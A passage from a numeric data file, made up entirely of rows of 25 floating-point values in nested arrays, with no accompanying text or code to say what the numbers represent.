0.05898988, -0.2757268, -0.14232402, -0.3482044, 0.22208716, -0.39111208, 0.31690384, -0.2083532, 0.25323608], [0.24391296, -0.4642836, -0.76239208, 0.23663632, -0.6761904, 0.254722, -0.3754674, 0.7512848, 0.4887432, 0.007091952, 0.5502876, 0.900584, 0.5787864, -0.18768052, -0.2890364, 0.4041988, 0.4516136, 0.898487, -0.12191002, -0.4026198, 0.6512304, -0.978908, -0.7509456, 0.073697048, 0.09251632], [0.2443016, 0.8405624, -0.44431624, -0.8101768, -0.4555156, -0.24949072, -0.934738, 0.52197, -0.38489292, -0.26507392, 0.9650548, 0.638588, 0.17109884, -0.8097092, 0.45685, -0.6375132, -0.18818532, 0.9831504, -0.7018104, -0.07931134, -0.23936176, -0.68529024, -0.076323296, 0.09692, 0.8131168], [0.2456106, -0.23985856, 0.06645632, -0.25471288, -0.29184256, -0.30484176, 0.18246124, 0.10893692, 0.2817952, 0.011166428, -0.08282436, 0.01102934, -0.009305696, 0.09057376, -0.2259848, 0.324949, -0.013788448, 0.144861, -0.06051556, 0.372832, 0.35381532, -0.35468048, 0.19687904, -0.350996, 0.2835768], [0.24723632, 0.29713584, 0.36561256, -0.1303056, -0.10040208, -0.19488516, 0.22164072, 0.21159684, -0.32683852, 0.07106748, 0.019096476, -0.26663956, 0.16303332, 0.30873512, 0.3611894, -0.13967338, -0.2115534, 0.3864706, -0.3875376, -0.0593077, -0.2469982, 0.35038216, 0.39604544, -0.031609024, -0.023183816], [0.2529942, 0.27819888, 0.35742808, 0.28348816, -0.17967168, 0.06190804, 0.25755912, 0.06437396, -0.21105876, 0.11645508, 0.22631416, -0.23201428, -0.24927544, 0.1980788, -0.205449, -0.2205872, 0.10422914, -0.07315972, -0.06254996, -0.13421614, -0.12724392, -0.043108624, 0.08099696, -0.30652872, 0.16560504], [0.25369972, 0.10044992, -0.37331144, -0.21381312, -0.35935864, -0.11347356, 0.18156912, -0.0401208, 0.3657646, -0.030185288, -0.14907712, 0.035592416, -0.09036864, 0.0869136, -0.19257764, 0.05751312, -0.000480662, -0.15145712, 0.3194716, -0.3962576, -0.21446436, -0.10097256, 0.35860704, 0.060628536, 0.016698824], [0.25471368, 0.1784632, -0.12084512, -0.36012944, -0.54867664, 0.519376, 0.6513, 0.027115368, -0.6268392, 0.22494652, -0.50847, -0.7871144, -0.17263988, -0.26989112, -0.6742932, 0.19419394, 0.9479082, -0.2346502, 0.3599534, 0.2850394, 0.8876992, 0.65397432, -0.40693512, -0.59016608, -0.61518736], [0.25974476, 0.56372104, 0.1537784, 0.2220624, 0.44222728, -0.6582024, -0.380433, 0.5643224, 0.4275572, 0.11818708, 0.37398096, 0.33312476, 0.5434644, -0.032414212, 0.23880388, -0.6381332, -0.920748, 0.3140724, -0.3805474, -0.7568834, -0.8790588, -0.59036496, 0.48166672, 0.47427968, 0.6650224], [0.26195152, 0.36903504, -0.4484228, -0.36340456, 0.46565768, 0.4502616, 0.7175128, -0.34816856, -0.12355224, 0.6521428, 0.8876084, 0.459702, -0.6288484, 0.34633804, -0.5699312, -0.1157082, -0.483214, -0.7249296, 0.3391742, -0.05862156, 0.833096, 0.901148, 0.75989568, -0.55898448, 0.049974408], [0.26607172, 0.19999664, 0.09134224, 0.037050208, -0.1562332, -0.017837184, -0.2749492, -0.0482218, 0.36480536, 0.0998716, 0.25082964, -0.16238848, -0.38199248, -0.18916988, 0.022029576, 0.2437602, -0.12709868, 0.11027128, 0.0658134, 0.2439494, -0.28698836, -0.23490048, 0.024056112, -0.38408928, -0.29706432], [0.26791116, 0.8371456, 0.10187496, 0.59487144, -0.71061544, -0.7746236, 0.11290728, 0.6629668, 0.24722836, -0.4326116, 0.5853436, -0.033197772, -0.8700968, 0.9224384, -0.007759864, -0.18812054, -0.4477082, -0.6794698, 0.818467, 0.7975836, -0.5048816, 0.11553024, -0.026103904, -0.305986, -0.007594143], [0.268991, -0.26788816, -0.76662384, -0.5133352, 0.58310712, -0.7121968, -0.33784492, -0.7861184, 0.8716096, -0.9493808, -0.9583252, 0.5026748, -0.767794, -0.2798836, 0.33210724, 0.2066772, -0.8564306, -0.4861054, 0.2756176, -0.8032512, -0.8569592, 0.9657672, 0.51169904, 0.23836072, 0.5599032], [0.27093208, 0.18252376, -0.35075664, -0.2900252, -0.12010608, -0.33617672, 0.07662124, -0.003975387, -0.13345328, 0.3939878, -0.38925232, -0.38219784, -0.026853852, -0.013853912, -0.13043076, 0.2432256, -0.2784202, 0.2675848, -0.2936942, -0.2061806, 0.11168068, 0.19470216, 0.26644384, -0.02398164, -0.28251464], [0.27324548, -0.78816968, 0.2402976, 0.54758432, -0.70348528, -0.13531328, -0.7955432, -0.7114468, -0.25700888, 0.39089268, 0.5961128, -0.3766022, -0.6870684, -0.6509752, 0.20268948, 0.10494608, -0.18530622, 0.019983356, -0.14787444, 0.365434, 0.3319118, -0.69360296, -0.8487488, -0.50657432, 0.1733228], [0.27672724, -0.60616808, 0.8299992, 0.5791976, -0.8360432, -0.6774768, 0.5249908, -0.8725984, 0.15862232, -0.35615968, -0.9354808, 0.4422996, 0.06000544, 0.8245568, -0.3072818, -0.5526758, 0.621176, 0.1599117, -0.19996796, 0.2254632, 0.34667008, 0.30731376, 0.69132176, -0.9304704, -0.50795704], [0.2803042, 0.56731488, 0.005570091, 0.076819488, 0.34805432, 0.477462, 0.3549334, 0.07682836, 0.9692856, -0.005955636, 0.717808, -0.8720548, 0.030988, -0.2111758, -0.1347628, 0.755631, -0.9183856, 0.2579558, -0.7145682, 0.776801, 0.10408404, 0.9446008, 0.76336632, 0.25550456, 0.5938304], [0.28162952, 0.65439824, -0.74118384, 0.44829472, 0.8623392, -0.35372948, -0.585572, -0.08099012, -0.4345452, 0.3333042, 0.09934236, -0.148821, -0.26697084, 0.8639764, 0.6345472, -0.7888702, 0.2594076, 0.6984284, -0.4450076, -0.4424606, -0.7853196, 0.9416656, 0.44063288, 0.076092088, 0.9940376], [0.28518412, -0.56096848, -0.26927808, -0.45860912, 0.47983072, 0.6731828, -0.4082204, -0.25084632, -0.25529696, 0.19149748, -0.28028152, -0.8873032, 0.5753388, 0.9532576, 0.5328256, -0.724228, 0.722663, 0.1306528, -0.16687274, 0.3257516, -0.8896224, 0.28334304, 0.29992624, 0.53850304, 0.60401576], [0.29500016, -0.9953744, 0.36311784, -0.11304312, -0.9617696, -0.19196484, -0.7496784, -0.156686, -0.39775328, 0.4824796, 0.39881408, 0.08677004, 0.7389148, -0.6164836, 0.9085092, -0.71356, -0.8706518, 0.612498, 0.332717, -0.19885078, 0.5493384, 0.5720916, 0.29384696, 0.9668744, 0.79760224], [0.2988982, 0.31932336, 0.73357712, 0.5457956, 0.29782232, 0.36639096, -0.38807692, -0.7819436, -0.06522196, -0.772322, 0.745738, -0.6012864, -0.0767406, 0.499022, -0.23836316, 0.3616788, -0.4190914, -0.1829769, 0.7061902, -0.10219912, -0.317108, -0.9279792, 0.19736648, 0.11314336, -0.67648752], [0.30261176, 0.23071272, -0.47275432, -0.820632, -0.41657848, -0.5843252, -0.6858208, -0.27006908, -0.388776, 0.5861616, -0.7488208, 0.5313368, -0.726372, 0.1675888, -0.27143024, 0.3646926, -0.11325152, -0.4738232, -0.1850557, -0.4760996, 0.2653246, 0.5287596, -0.7708056, -0.5587592, -0.39856416], [0.3032182, 0.28029368, -0.012240088, 0.18359992, 0.3769556, -0.06520484, 0.35642972, 0.045813, -0.05489264, -0.29899624, 0.25487724, -0.008185824, 0.07742792, 0.27591552, -0.011728852, -0.05979746, 0.37921, 0.2221826, 0.2493574, 0.06915056, 0.28065536, 9.28e-05, -0.22044696, -0.20027864, -0.31245176], [0.30515524, 0.65500208, -0.9391136, -0.65290096, 0.78915968, -0.49878, 0.7829132, -0.6018008, -0.9579528, 0.33520236, -0.37759796, 0.26664224, 0.032928056, -0.4918372, 0.016823172, 0.7068984, -0.526233, 0.7463906, -0.8264564, -0.9706854, -0.7767244, -0.8615016, -0.9679888, -0.53619976, 0.54459136], [0.30633372, -0.67768296, -0.9408424, -0.73523288, -0.8655312, -0.34307644, -0.6854804, -0.5653524, -0.23038912, 0.9392368, 0.5047208, 0.36689352, 0.006605888, 0.9617492, -0.5779328, 0.7819976, -0.3366994, 0.8946144, 0.4668594, -0.3280236, 0.33796392, 0.9870368, 0.8264896, -0.9821864, -0.433964], [0.31189632, 0.45563896, -0.65881392, 0.60324464, -0.09080032, -0.14857208, -0.999822, -0.9515164, -0.217767, -0.33254948, -0.8859732, -0.10864036, -0.9901212, 0.9185776, -0.05747136, 0.75466, 0.4217686, -0.5184608, 0.007529044, 0.5829878, -0.6479648, 0.67647192, -0.8923232, 0.34879264, -0.19867864], [0.31354556, 0.4649572, 0.17102696, -0.786998, 0.56626512, -0.5280516, -0.5472916, 0.07945824, -0.6812364, -0.6413424, -0.31015952, 0.07737456, 0.8697152, 0.04761672, 0.13565488, 0.3878946, 0.12011298, 0.8546978, -0.4880116, 0.814133, -0.4967064, -0.35271064, 0.35803056, -0.9034288, -0.028032048], [0.31499248, -0.19277456, -0.26560408, -0.13523168, 0.14273448, 0.034228104, -0.17781884, 0.34080972, -0.05879148, 0.08181576, -0.23384952, -0.23538552, -0.27816176, -0.00945736, -0.16251708, 0.13619086, 0.19877498, -0.2823344, -0.09753496, -0.3422254, 0.0746756, -0.1377148, -0.19059832, -0.3501292, -0.3860456], [0.31849, 0.59400776, -0.8058088, -0.3422616, -0.56261952, -0.39418668, 0.22861616, 0.086857, 0.8691092, 0.5519836, 0.9090028, 0.6886932, -0.4470884, -0.14393216, 0.24947832, -0.733219, -0.628255, 0.7950824, -0.534485, -0.9489572, 0.9627428, -0.58293176, 0.10750744, 0.019770208, -0.8597792], [0.32617488, -0.12134816, -0.09296944, 0.39771832, 0.034386448, -0.38058332, 0.19332576, 0.20444724, 0.17758284, -0.05344432, 0.012693936, -0.001000235, 0.12707796, 0.38341916, 0.39757016, -0.0344785, -0.2253878, 0.07077134, 0.03216314, -0.02672162, 0.17420744, 0.25226896, -0.2023328, 0.3126904, 0.23371], [0.3264712, 0.32549688, -0.000665771, 0.11169728, -0.24215408, 0.2404672, 0.11610344, 0.10576044, -0.30733564, 0.07875052, 0.30867368, -0.3207846, 0.1170724, -0.30284332, 0.23117164, 0.0528881, -0.10629918, -0.2579402, -0.11762468, -0.02330926, -0.1846424, 0.015431128, -0.34284184, 0.21207752, 0.18826528], [0.32879668, -0.28357816, -0.29761232, -0.24192352, -0.36829984, 0.3101946, 0.24014084, 0.10514364, 0.06201612, 0.18394588, 0.10971252, 0.31961816, 0.0488948, 0.3804616, 0.35112172, 0.3716858, -0.331687, -0.3801656, 0.36029, 0.2549964, -0.15063708, -0.013444512, -0.38040608, 0.24539832, -0.35114128], [0.34121872, -0.8047128, -0.1229, -0.30272616, -0.25955752, 0.13487284, -0.6827008, -0.9891328, -0.26995992, 0.9151692, -0.4835028, 0.4184548, -0.29900712, -0.9094072, 0.9954924, 0.689695, 0.5681034, 0.9557572, 0.2545008, 0.3763628, -0.2410798, 0.58303448, -0.30650088, 0.36501936, 0.055344624], [0.34242776, 0.21854248, -0.361978, -0.18787024, 0.35097704, -0.16472544, 0.3968254, 0.10367356, 0.09914844, 0.15191564, 0.1744168, 0.1998218, 0.3758154, -0.0719168, -0.2676162, 0.05394262, -0.0540319, 0.05388898, -0.2641118, -0.3718776, -0.13466728, 0.38887744, 0.245842, -0.2629524, 0.08408768], [0.34403116, 0.9920624, -0.054767256, -0.74455304, -0.45105832, 0.6044044, -0.9134004, -0.31188448, -0.8370532, 0.24442188, -0.7002164, 0.6001548, 0.04834236, -0.006942572, 0.08153252, -0.463625, -0.9006014, -0.8666534, -0.8040442, 0.3404138, 0.8290352, 0.8662392, -0.6033432, -0.9142744, 0.77265056], [0.34810724, 0.23075624, -0.17372744, -0.378102, 0.26838952, -0.24569364, -0.1202234, 0.35010212, -0.257538, -0.06027984, 0.32852904, -0.34250596, -0.17216116, 0.2738672, -0.16890076, -0.2414548, -0.224565, 0.2543846, -0.2718302, -0.312138, 0.39495408, 0.38604776, 0.27505408, -0.09014016, -0.004239514], [0.35078076, 0.65672736, 0.40481808, -0.8423672, -0.2689772, 0.01450914, -0.3706626, -0.7256892, -0.4019716, -0.32051596, -0.4685644, -0.5642176, -0.6623744, -0.34041316, 0.4879104, 0.2383454, -0.8510594, 0.17134822, -0.8339568, -0.6839276, -0.01727014, -0.66601768, 0.65651824, -0.79738864, -0.36384904], [0.35263076, -0.018972568, -0.11384872, 0.32792688, -0.3562948, 0.017549716, -0.33943676, -0.3461392, -0.34479536, 0.22382728, 0.14221696, 0.23584256, 0.34705808, -0.33800152, 0.0476562, -0.15112756, -0.3373478, 0.16793308, 0.356106, -0.0879262, 0.09587824, 0.16826352, -0.1845892, 0.3392148, 0.001636062], [0.3532482, 0.10932312, -0.23650904, 0.2681752, -0.8545688, -0.6839164, -0.2971576, 0.6855916, 0.5233412, 0.86044, 0.5387944, -0.33432512, 0.653438, 0.9663516, 0.6514272, -0.3996798, -0.4517324, 0.2469632, -0.7175074, -0.400693, 0.3840498, -0.16577296, 0.58475656, -0.63731072, -0.61965376], [0.35793864, -0.38636336, 0.055205208, -0.11054024, 0.26162008, -0.21258284, 0.09982216, -0.34313144, -0.37734516, -0.0528336, -0.13686132, 0.1663138, 0.21867132, -0.2981692, -0.13726208, -0.07838122, -0.03271068, -0.394402, -0.13204562, -0.2704818, 0.23414196, -0.12846992, -0.30436888, -0.36851224, -0.19559632], [0.37352492, 0.77768472, -0.46996344, 0.36444232, -0.69081232, 0.13502352, 0.6909852, -0.4619456, -0.4567344, -0.7979064, 0.8676668, 0.25900336, 0.89202, -0.8739808, 0.20322236, -0.8866338, -0.7800056, 0.9000434, -0.09824524, 0.4663664, -0.6072748, -0.871788, 0.54045256, 0.76891176, -0.9474216], [0.37406392, 0.9374416, -0.43368728, 0.53217416, 0.43143704, -0.1404998, 0.6053084, -0.617176, -0.75065, 0.8703088, -0.28612456, -0.10848604, 0.7799352, -0.4944192, 0.8409192, 0.7827672, 0.6786398, 0.07224348, -0.7465698, -0.2679082, -0.03188784, 0.12621864, -0.28740344, 0.46565104, 0.8627656], [0.38693916, 0.14655392, 0.11296896, -0.38884496, -0.3766232, 0.3777068, 0.30469252, 0.1946444, -0.23473632, -0.007345156, 0.2705196, 0.13392252, 0.3767228, 0.27171704, -0.06301628, -0.2998638, 0.3423328, 0.2438432, 0.00200048, 0.3284634, -0.037550876, 0.36662144, 0.26515832, 0.065783176, 0.39395288], [0.392778, -0.09877784, 0.23932624, 0.28130576, -0.21690512, 0.36347204, -0.17290392, 0.37495808, -0.09358192, 0.09889144, -0.35238484, -0.17584516, -0.20101332, -0.28898876, -0.37323156, 0.3678932, -0.18398804, -0.04879066, -0.17909436, 0.1205876, 0.07749768, -0.30272104, -0.13632632, 0.36554968, 0.28441048], [0.39760728, 0.28430552, -0.5306188, -0.13084528, 0.34322464, 0.5359776, 0.397787, 0.9035044, -0.14200852, -0.5987552, -0.26227232, -0.35919964, -0.28535268, 0.275905, 0.4855772, 0.04452094, 0.8060642, 0.385885, 0.18463234, -0.9881322, 0.51148, -0.5344336, 0.9301096, -0.18244568, -0.8997576], [0.4038912, 0.58475664, -0.32636344, 0.028161984, -0.015134056, 0.17237964, -0.6222924, -0.5607664, -0.9001888, 0.5753872, -0.004846544, -0.860504, -0.006186456, 0.8915796, -0.6259004, -0.7018716, -0.9103748, -0.1129407, -0.223458, 0.13748088, 0.867136, 0.65694128, 0.28080088, 0.60957728, -0.2925192], [0.4046868, 0.011282336, -0.4553724, 0.45608296, -0.056855984, -0.9838812, 0.24068676, 0.43419, -0.7028496, 0.6737936, 0.2990274, 0.1308706, -0.775424, 0.7296852, 0.6113624, -0.3050664, -0.15720806, -0.5170098, -0.4916068, -0.14821332, -0.16179468, -0.75720904, -0.41107336, 0.72536128, -0.157272], [0.4073076, 0.8580776, 0.47581096, 0.68763552, -0.19192488, 0.7447372, 0.7483436, -0.7170996, 0.49167, -0.21023816, 0.4463768, 0.8653448, -0.4119456, -0.039020424, 0.30632144, -0.12143382, -0.17428412, -0.5532662, 0.017728964, 0.01077888, -0.292326, -0.49012648, 0.60692024, -0.319998, 0.802668], [0.4073604, 0.068050192, 0.9306368, -0.14986784, -0.046547072, -0.4348196, -0.7471696, 0.9500656, 0.5012696, -0.5754444, 0.4281764, 0.4454376, 0.25163964, 0.4167852, 0.9108676, 0.530055, -0.07213964, 0.004424372, 0.929367, 0.5764368, -0.882596, -0.5672028, 0.14460536, 0.66566112, 0.066488928], [0.4075768, -0.14955496, 0.33221352, -0.34269424, 0.242232, 0.6977324, -0.39664764, -0.012208212, 0.94134, 0.9444884, 0.7434004, 0.7636856, 0.9802832, -0.29358384, -0.77458, -0.4349862, -0.07944756, 0.635629, 0.3520968, 0.5664138, 0.030217064, 0.09153104, 0.39475888, 0.09984728, 0.48059584], [0.4096232, 0.64135384, -0.9149904, -0.78859816, -0.08937496, -0.913998, -0.610502, -0.34671476, -0.7665148, 0.621008, -0.1937622, -0.23554048, 0.434376, 0.09181152, -0.4512648, -0.994749, -0.8874778, -0.444513, 0.15055078, 0.2216104, 0.4158088, 0.08722928, 0.70324128, 0.2070596, 0.37700784], [0.415336, 0.9414928, 0.9314624, 0.8547256, 0.8684288, -0.8198112, 0.12948152, 0.4658304, 0.98947, -0.2510854, 0.33969284, 0.5001316, 0.31777304, -0.14803492, -0.9944228, -0.6994872, 0.4905326, -0.3780712, 0.309355, -0.1229657, -0.4453696, 0.8137344, -0.51295328, 0.74858712, 0.44789456], [0.4169804, 0.9891576, -0.08483616, 0.8223216, 0.16861968, -0.9679296, 0.12132344, -0.6970636, -0.34830272, -0.7128688, 0.3049264, -0.10029764, -0.4631336, 0.659484, -0.4384744, -0.6282978, 0.3611046, 0.6995054, -0.8234756, 0.16001088, 0.36975492, -0.8241304, 0.019384696, 0.64285232, -0.31501808], [0.4175988, 0.8062032, -0.968344, -0.53526752, 0.045551192, -0.819416, -0.6075888, -0.5401928, 0.4089708, -0.5679872, 0.5680532, -0.11758052, -0.3911416, 0.33400716, 0.2395554, -0.17511004, 0.610368, -0.7281676, -0.2601814, -0.9677214, -0.29280668, -0.49988456, -0.46585736, -0.65688064, 0.17919344], [0.4453848, 0.29552704, -0.24995632, -0.9591376, -0.4014396, 0.3021394, -0.0590172, 0.1803872, 0.949714, 0.4765444, -0.9705348, 0.7287308, -0.1500018, 0.8042304, -0.0604278, 0.09414404, -0.01739187, 0.31393, -0.8941346, 0.6366732, -0.4550092, -0.39990488, 0.60234864, -0.046793464, 0.18319576], [0.4546936, -0.49744976, -0.940496, 0.18468512, 0.23124336, -0.9621244, -0.5942628, -0.4799588, -0.37640436, 0.4236112, 0.6139864, -0.8878292, -0.9908128, -0.7558296, 0.6859448, 0.4370684, 0.5314974, -0.7674188, -0.7883894, -0.3362062, 0.6084724, 0.34085664, -0.2618892, 0.73646584, -0.21954496], [0.456656, 0.040781816, -0.14112872, 0.26685424, -0.028994536, 0.35258152, 0.36778624, 0.26045952, -0.8803008, -0.37879888, 0.8232548, -0.07703636, 0.6988644, -0.7977844, 0.023779868, -0.6130632, -0.6012272, 0.4564316, -0.4536586, 0.02303096, -0.5424868, 0.52833192, -0.76163728, 0.32312992, 0.9235896], [0.4608368, 0.4506452, -0.78291184, 0.57171528, -0.13461728, 0.02056956, -0.19214652, 0.8813728, 0.8071924, -0.16845556, 0.4386476, -0.17688056, 0.4562088, -0.8097768, 0.3268962, -0.9686106, 0.4807184, 0.7251374, -0.0328282, 0.4046538, -0.31417144, -0.8928704, 0.33667504, 0.256118, -0.20931568], [0.466238, -0.012195024, -0.08077112, 0.54315536, -0.09809072, -0.2615858, 0.21300012, -0.8958868, 0.36799756, -0.883264, -0.001679957, -0.26901844, -0.35469808, 0.9686208, 0.39115384, -0.726865, 0.2335988, -0.4227438, -0.6362594, -0.571226, 0.8254352, -0.69279888, -0.16264408, -0.57718576, 0.55672392], [0.4663496, -0.13695472, 0.09657032, 0.61732864, 0.818912, -0.688404, 0.26899144, -0.4927588, 0.1651356, -0.34221848, 0.07459472, -0.941746, 0.8460432, -0.5386696, 0.36946628, -0.3296928, 0.9928792, -0.08648724, 0.5995608, 0.8484096, -0.957554, 0.9423864, -0.62396776, -0.8745488, -0.8880888], [0.4673784, 0.49466872, -0.06498084, -0.3789716, -0.32200296, 0.4785576, -0.21525012, 0.38363596, -0.6469072, 0.5069812, -0.22552988, 0.987148, 0.6755556, 0.401202, 0.25119076, 0.9678014, 0.7328208, -0.2146882, -0.2813156, 0.7993468, 0.509292, 0.36437408, -0.49048232, -0.11396632, -0.15038992], [0.4701396, -0.37203624, 0.67900968, 0.39202016, -0.29656488, 0.2028432, 0.793068, 0.32208636, 0.9216792, 0.36120276, 0.6799404, -0.464356, 0.2210802, 0.6545, 0.826468, 0.5303682, 0.6690712, -0.011978014, 0.7708582, -0.1351598, -0.881316, -0.31508632, -0.12223352, -0.53794832, -0.51600432], [0.4728484, 0.7918512, 0.9198752, 0.44362832, -0.16082536, 0.21230508, 0.8705444, 0.5917976, 0.7737132, -0.83075, -0.6343104, -0.09010672, 0.4535736, 0.10610408, 0.008079864, 0.8535194, -0.7562464, -0.16381044, -0.6929408, -0.1614982, 0.23682176, -0.32307432, 0.66052448, -0.32017152, 0.78598896], [0.4847072, 0.8285384, 0.21897344, 0.24275304, 0.8597088, 0.8358668, -0.9993604, -0.5436376, 0.9629176, 0.4402168, 0.5544872, 0.30301256, -0.20131112, 0.7654876, 0.857852, 0.587711, 0.3045238, 0.567737, -0.7124012, -0.2782448, -0.32071688, 0.68838352, 0.38502368, -0.9117272, 0.56757024], [0.4872324, -0.42772912, 0.4366648, 0.08827768, -0.68849328, 0.7088592, -0.913614, -0.0066304, 0.4986592, 0.34469528, 0.37460736, -0.8123404, -0.20604832, 0.5228696, -0.7610968, 0.6054552, -0.5132484, 0.14414262, 0.6446636, 0.4397086, -0.425792, 0.922472, -0.7947952, 0.23838576, 0.8584224], [0.491278, 0.66318776, 0.31251208, 0.50243544, -0.9191632, 0.7063304, 0.6078472, 0.33744152, -0.013076884, -0.4521284, 0.37543416, 0.5799208, 0.03562318, -0.1329168, 0.8040544, -0.975839, -0.683744, 0.4644198, 0.5718846, -0.00552066, 0.17240352, -0.72408384, -0.7660252, 0.75783528, 0.24306328], [0.4953484, 0.9391688, -0.46975832, 0.49427192, 0.16275496, -0.492458, 0.29019584, 0.800682, 0.5143016, -0.8715104, 0.917186, -0.19049536, -0.449064, -0.20819308, -0.7584584, 0.6409314, -0.5515408, -0.12363626, 0.9406588, 0.8821204, -0.8721968, -0.8839864, -0.9616952, 0.64270704, -0.41517928], [0.498344, 0.09860952, 0.30202384, -0.33368, 0.31049064, 0.6919848, -0.022484624, 0.0603996, 0.05775532, -0.8541924, -0.8571144, 0.4224396, -0.8122356, -0.9715096, -0.4458964, 0.11145284, -0.5606382, -0.776345, -0.8837164, -0.1866907, -0.8593908, -0.72976408, -0.46247144, -0.15205216, 0.7366704], [0.5099664, 0.6664176, 0.54323984, 0.29345192, 0.1904544, -0.459388, 0.8333232, 0.6635828, 0.8025636, -0.657034, -0.37553732, -0.1764474, -0.38969056, -0.0525228, 0.7958732, -0.6336226, 0.275642, 0.453881, -0.2015844, -0.4851638, 0.29973832, -0.78498496, 0.0793104, -0.25675632, 0.8854976], [0.5136528, -0.29633896, 0.37685768, -0.57675184, 0.40736528, 0.13406832, 0.71738, -0.5065896, -0.16402688, -0.29422348, -0.22272348, -0.35800084, -0.10727692, -0.862118, 0.4450892, 0.4238092, -0.000631043, 0.8604184, -0.2666554, 0.9217532, 0.4846752, -0.69085, -0.15836064, -0.4600584, 0.115518], [0.515384, -0.17063008, -0.5495104, 0.4792444, 0.5334256, -0.8936532, -0.15196208, 0.845034, 0.26469964, 0.3818446, 0.12934204, 0.13877156, 0.36935384, 0.447072, 0.9039384, -0.0475487, 0.1400815, 0.2197608, 0.2352696, 0.09933058, 0.16639376, 0.48229088, -0.64022512, -0.31106384, -0.29607288], [0.51843, -0.8202416, -0.8248216, -0.15950768, -0.49047928, 0.6412312, 0.05954392, -0.5341512, 0.5590572, -0.9292504, -0.6658664, -0.5427712, -0.06148328, 0.8517032, -0.006489816, 0.9143134, -0.5172626, -0.5615004, -0.2288672, 0.8806082, -0.4053616, 0.16228416, 0.51240912, -0.8058632, 0.26654456], [0.520464, 0.34833968, 0.043960264, -0.71181848, 0.64110688, -0.2502624, -0.6850952, 0.27451264, 0.23287152, 0.8394224, -0.4165316, 0.842108, 0.25716292, -0.102389, 0.5852796, 0.16551608, 0.799587, -0.5477548, 0.9441422, 0.7112864, -0.9666728, 0.48222616, 0.49866848, -0.69227104, -0.61357112], [0.5246972, -0.65958216, 0.33127184, 0.27274472, 0.12405376, 0.8681568, -0.4568784, -0.9640756, 0.004247188, -0.12449712, 0.7946584, -0.7444644, -0.986004, -0.4189668, -0.029255064, 0.9177868, -0.000694903, 0.09089868, 0.2707638, 0.2522654, -0.22724832, -0.17886536, 0.11648016, 0.07021496, 0.21442848], [0.5342224, 0.77321016, 0.14596104, -0.33061448, -0.6601132, 0.1580562, 0.11384036, -0.33778856, 0.24094948, 0.29167896, -0.36137968, 0.5523516, 0.025289444, -0.7094332, 0.38700576, -0.284096, 0.7111954, -0.377675, -0.9599974, 0.3990788, 0.28540808, -0.71231808, 0.28142072, 0.16636736, -0.05992], [0.5377508, 0.71700616, 0.8284072, 0.059111704, -0.32058376, -0.8673456, 0.00285448, 0.9599088, 0.7883, 0.7347108, -0.4485668, 0.16163144, 0.881966, -0.7107924, 0.7522004, 0.2312966, 0.700125, -0.7392202, -0.4459858, 0.485851, -0.26686816, 0.3846472, 0.1138956, 0.64238136, 0.7432756], [0.540234, -0.057314448, 0.9218632, 0.67684872, -0.30957496, 0.35189792, 0.7013704, -0.36661404, 0.04703436, -0.4358568, 0.0655782, -0.5730692, -0.651084, -0.6938496, 0.26423736, -0.909106, 0.4177482, 0.4422892, 0.4526164, -0.738462, -0.5106196, 0.23663216, -0.70351952, -0.009739624, 0.052027472], [0.5406252, -0.8565408, 0.8774336, 0.08483912, 0.77419408, 0.8409848, 0.35084544, 0.31810484, -0.8271908, 0.989354, 0.18358424, 0.4936344, -0.04880148, -0.6227768, 0.08870912, 0.7319528, -0.5266528, -0.9836988, -0.04371406, 0.6713864, -0.17456372, -0.77603168, -0.44259792, 0.55285128, -0.44842416], [0.5440712, -0.75195664, 0.98334, -0.55498552, -0.17166216, -0.2504646, -0.2788152, -0.34018108, -0.4080148, 0.5271664, 0.574932, -0.27609236, 0.8820292, 0.4635232, 0.9125608, -0.6925198, -0.9381498, 0.19167424, -0.751718, -0.9955656, -0.6281608, -0.35795616, -0.47950096, -0.61292856, -0.1596312], [0.547782, -0.56321768, 0.27288752, -0.16034616, -0.53306832, -0.9611312, -0.5451776, -0.8298428, -0.028932188, 0.036503588, 0.037136576, -0.7357488, -0.6304716, -0.13993188, 0.31720772, -0.7791054, 0.7249068, -0.852931, -0.5782826, -0.5853176, -0.5642276, 0.46014928, 0.6687424, -0.54530984, 0.8508504], [0.548614, -0.13940936, -0.23816224, 0.50334184, 0.25610656, 0.25494684, 0.86912, 0.8505316, 0.34271548, 0.14441852, -0.439008, -0.4333628, -0.5428896, -0.7899224, -0.13344876, 0.4961274, -0.8598946, -0.7522312, 0.9359212, 0.8997806, 0.458326, 0.15140544, 0.79005368, -0.9921912, -0.09891984], [0.5490388, -0.9268376, 0.13824144, 0.9973736, 0.51253408, -0.7262624, -0.22190176, -0.03278576, -0.683872, 0.9131932, 0.015233104, 0.23675664, 0.3580214, -0.7412516, 0.8264384, -0.9118148, 0.17563588, 0.3971582, 0.05138216, 0.3377576, 0.8408364, 0.19601712, 0.4916424, 0.54591552, -0.56588512], [0.5546784, 0.8885848, -0.19248536, 0.996772, 0.17070296, -0.06414012, -0.6600364, 0.7921736, 0.7224648, -0.5051676, -0.034638872, 0.13554792, -0.9578564, -0.8032712, -0.8462372, 0.595907, 0.9285752, -0.8533312, 0.3368146, -0.04777306, -0.8999304, -0.44057768, 0.42084968, 0.43816288, -0.4638148], [0.5570924, 0.4812804, 0.66428576, -0.29602536, 0.0978416, 0.34672704, -0.31582068, 0.008261684, 0.1039452, -0.6640544, 0.5326344, -0.426192, 0.4414912, 0.1181192, -0.8830436, -0.733937, -0.4966198, 0.3303234, -0.826826, 0.304455, -0.875316, 0.59343784, 0.16036064, -0.16991504, -0.3946], [0.5606512, -0.59407056, 0.73706592, -0.8247416, 0.27111632, 0.1390452, -0.13652176, 0.1374502, -0.9781852, -0.50656, -0.21492912, 0.34538968, -0.22735392, 0.8645912, -0.10383596, -0.4351388, 0.7876772, 0.2532522, -0.505212, 0.8848666, 0.857504, 0.8605952, -0.8686328, -0.37417648, 0.963748], [0.5608444, 0.069613696, 0.001290983, 0.18730704, -0.078434616, 0.017131516, -0.2519634, -0.6244836, 0.9522916, -0.21141192, 0.932704, -0.5992304, 0.6669484, 0.76265, -0.7968012, 0.4415168, -0.2316622, -0.06269182, 0.08448212, -0.04713608, -0.18732172, 0.12992992, 0.7097056, 0.47257704, 0.21567608], [0.5627156, -0.9169856, -0.9352872, 0.62294768, -0.079355768, 0.7664, -0.4268464, 0.29326984, 0.793306, 0.5999612, 0.93991, 0.6878356, 0.8944012, 0.38156668, 0.036761512, 0.3848688, 0.9480814, -0.7972534, -0.3452382, -0.9694962, 0.403604, -0.7979952, -0.63931744, -0.022037472, 0.7898344], [0.5795332, -0.20284912, 0.8157432, 0.05980932, 0.40112616, -0.9804364, -0.4368764, 0.1216722, 0.35182624, 0.5701448, 0.19906528, -0.9046052, 0.027935604, 0.30675564, 